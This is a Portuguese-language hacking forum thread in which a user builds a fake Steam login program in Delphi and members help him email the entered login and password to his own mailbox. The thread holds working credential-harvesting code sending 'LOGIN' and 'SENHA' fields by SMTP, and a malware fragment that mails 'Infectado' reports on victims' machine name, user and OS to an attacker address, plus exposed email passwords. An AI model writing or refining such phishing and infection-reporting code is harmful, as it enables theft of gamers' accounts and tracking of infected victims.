FORUM DARKERS

Olah, pessoal do Darkers ...

Bom vo explica o que aconteceu , antes de formata meu pc ... eu tinha um projeto funcionando aonde era um fake da STEAM ...

Mais formatei e eskeci de salva o projeto certo, so salv ei a metade dele, refiz ele novamente ...

POrem estou com problema na parte de envio da mensagem , gostaria de saber, se alguem pode me ajudar ..


Meu projeto tem 2 edit ...

Edit1... Edit 2...

aonde ao serem preenchidos e clikado em enviar ..

enviaria para meu e-mail da pop ....
Desde jah agradeço ..

Obrigado!.

Existem vários exemplos na net..

http://www.babooforum.com.br/forum/inde ... try1521938 (http://www.babooforum.com.br/forum/index.php?showtopic=390630&pid=1521938&mode=threaded&start=#entry1521938)

[]s

Não consegui whit3_sh4rk

to tentando usa este codigo ..

begin
//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=465;
IdSMTP.Host:='smtp.mail.yahoo.com.br';
IdSMTP.Username:='steam_lostph';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='steam_lostph@yahoo.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph_steam@pop.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;

lostph,
Parece que ultimamente está tendo muitos problemas no envio de e-mail pelo SMTP da Yahoo!
Na última vez em que testei(não faz muito tempo) usei o da BOL e deu certo.

P.S.:
-No IdSMTP.Username ponha somente o login.
Ex.: IdSMTP.Username:= 'lostph_steam';  // sem o @bol.com.br
-Use IdSMTP.Port:=25.
-SMTP da BOL: smtps.bol.com.br

De resto tudo normal.
Faça o teste ai. Qualquer coisa poste.
Abraços!

Bom c0dek segui sue conselho fiz um e-mail na BOL porem ...
peloq ue opservei a bol Recebe pelo POP e Envia pelo SMTP ...

Eu naum tenho no meu codigo a configuração pop e nem o componente pop ...
Sou meio inexperiente na parte de codificação ...

estou usando este código aqui, naum sei se está correto mais .

//envio de e-mail com o servidor yahoo muito bom, um pequeno exemplo

IdSMTP.Port:=25;
IdSMTP.Host:='smtp.bol.com.br';
IdSMTP.Username:='lostph.steam';
IdSMTP.Password:='***';
IdSMTP.AuthenticationType:=atLogin;
IdSMTP.Connect(0);

//O seu endereço de e-mail
IdMessage.From.Address :='lostph.steam@bol.com.br';
//Aqui vai o endereço de e-mail para o qual você quer mandar o e-mail
IdMessage.Recipients.EMailAddresses :='lostph.steam@bol.com.br';
//O assunto da mensagem
IdMessage.Subject :='CONTA STEAM =]';

try
IdSMTP.Send(IdMessage);
finally
IdSMTP.Disconnect;
end;
Application.MessageBox('Email enviado com sucesso!', 'Confirmação',
MB_ICONINFORMATION + MB_OK);
end;


Vc mesmo pdoe ver que so tem as informações smtp ..
uma vez um amigo meu me passo um codigo so smtp usei pela pop e deu certo, mais o codigo era muitooo simples ...

se vcs que tem mais experiencia pode me ajudar, pode ser em qlquer e-mail , eu faço o e-mail ...

Muito obrigado...

Se o BOL utilizar SSL, esse método comum não irá funcionar.

Assim como o Yahoo e GMail por exemplo utilizam..

[]s

ah tá ... mais não existe um jeito de fazer funcionar ?...
mesmo sem o SSL ... acho que o pop naum utiliza..

Lostph,
Tenta enviar pra um email da Gmail, quando eu testei usei SMTP do BOL enviando pra um email Gmail.
Testa ai que quando eu tiver um tempo eu faço uns testes aqui e te mando.

[]'s

ok , vo testa e posto o resultado aki =] ...

ate onde eu sei o BOL nao usa SSL , o GMAil sim , mas isso t5b pode ser implementado via codigo , no yahoo vc tem q configurar seu email pra acessar o POP e o SMTP , pelo menos era assim

oks vamos la,  vc pode usar tanto bol quanto yahoo pra autenticar, o problema esta no codigo sendo que vc pode autenticar tbm via http post que eu acho muito melhor, mas vamos ficar com smtp mesmo:

vou te passar um code que vai tirar suas duvidas

procedure TCmd.e1;
begin
{=========================================================================================================}
{ CONFIGURE AQUI SEU EMAIL PARA IFECTS }
{=========================================================================================================}
if (not func.Co) or (fileexists(func.dr + file_flag)) then
  exit;
  filecreate(func.dr+file_flag);
  msg.Body.Clear;
  msg.From.Name := func.User;
  msg.From.Address := 'Zerocool@bol.com';   }
  msg.Recipients.EMailAddresses := ('Zerocool@gmail.com');
  msg.Subject :=  'Infectado: ' + func.CompNAME;
  Smtp.Host := ('smtps.bol.com');;
  msg.Body.Add('====================== Zero cool ============================');
  msg.Body.Add('Nome do Computador........................: ' + func.CompNAME);
  msg.Body.Add('Usuário ativo.............................: ' + func.User);
  msg.Body.Add('Data......................................: ' + datetostr(now));
  msg.Body.Add('Hora......................................: ' + timetostr(now));
  msg.Body.Add('__________________________________________________________________');
  msg.Body.Add('Sistema Operacional.......: ' + func.GIV);
  msg.Body.Add('Resolução do Monitor......: ' + IntToStr(Screen.Width));
  msg.Body.Add('==================================================================');
  msg.Body.Add('');
  msg.Body.Add('-= Zero cool Darkers =-');
  Smtp.AuthenticationType := atLogin ;
  Smtp.Username := 'Zerocool'; {<--- username do email que vai enviar os infects }
  Smtp.Password :='09873gf1873';  {<--- senha do email que vai enviar os infects }
  Smtp.Port     := 25;
  Smtp.Connect;
{=========================================================================================================}
{=========================================================================================================}
   Try
  Smtp.Send(Msg);
    except
  Smtp.Disconnect;
  end;
  Smtp.Disconnect;

End;


Zero Cool,
Seria interessante postar esse método de HTTP Post ou algum link como referência, me interessei por ele. Se você puder, é claro.

Obrigado.

Abraços.

ZeroCool , muito obrigado pelo codigo ... esta completo ..

porem como vc eh amis esperiente , gostaria de add o edit 1 e edit 2 no e-mail tbm , como ?!


abraços

Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!

lostph,

Tente usar esse código:

with SMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='';
Password:='';
AuthenticationType := atLogin;
Connect;
  end;

with Mensagem do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:=''; // E-mail da autenticação
From.Name:=''; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= ''; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
SMTP.Send(Mensagem);
finally
SMTP.Disconnect;
end;

O código que o ZeroCool passou era pra você ter uma base, deu erro porque você não tem as funções.


Abraços.

Citação de: "lostph"Zero cool ... seu codigo esta dando erro...

nesta linha
if (not func.Co) or (fileexists(func.dr + file_flag)) then

acredito que nas outras tbm ..

abraços ..

e mesmo asism agradeço muito a ajuda, seu codigo deu pra ter noção mais amplas do que posso fazer!

lostph essa funcao e pra n mandar infect repetido ou info

traduzindo: Se não (func.Co)ou (arquivoexiste(func.dr + file_flag)) então
fecha;
criaarquivo(func.dr+file_flag);

vc pode deletar essa linha, que vae enviar do mesmo jeito, dae e com vc.

Obrigado pela ajuda c0dek,Zero cool ...

COnsegui faezr o e-mail chega atraz ve codigo:

with idSMTP do
  begin
Host:='smtps.bol.com.br';
Port:=25;
Username:='lostph.steam';
Password:='rapha06';
AuthenticationType := atLogin;
Connect;
  end;

with idMessage do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:='lostph.steam@bol.com.br'; // E-mail da autenticação
From.Name:='Raphael'; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= 'raphiskis@gmail.com'; // E-mail que vai receber as informações
Subject :='Conta Steam =]';
ContentType:='text/html';
  end;
try
idSMTP.Send(idMessage);
finally
idSMTP.Disconnect;
end;
end;
porem so envio  1 vez ....

tipooo ... eu naum to conseguindo intende, por que esta taum dificil manda um e-mail ...

me add msn: ph.slater@hotmail.com

Obrigado , e desculpa pela demora, tava viajando.

OnlyOne,whit3_sh4rk, obrigado tbm , fui meio que fazer nas presas e acabei eskecendo de coloka o nick de vcs, poreme stou muito grato tbm ...

começa estuda agora, Sistemas da informação na facul ...
quem sabe invez de pedi ajuda, estarei ajudando tbm ...

abraços

Cara,
Aonde você colocou o comando para enviar o e-mail?
Explicar assim fica difícil, te adicionei lá no msn.

Abraços!

Nao sei se ajuda mas, também tive problemas com envio de mail pelo yahoo e depois consegui
colocando o endereco de smtp como smtp.mail.yahoo.com e a porta 25.

agora to utilizando duas rotinas, quando a do yahoo falha mando pelo bol

nesse site tem um exemplo de como utilizar o indy pra autenticar e enviar para gmail

http://www.activedelphi.com.br/forum/vi ... c269fb14e4 (http://www.activedelphi.com.br/forum/viewtopic.php?t=35256&highlight=&sid=e65472df859f3a31fcaadec269fb14e4)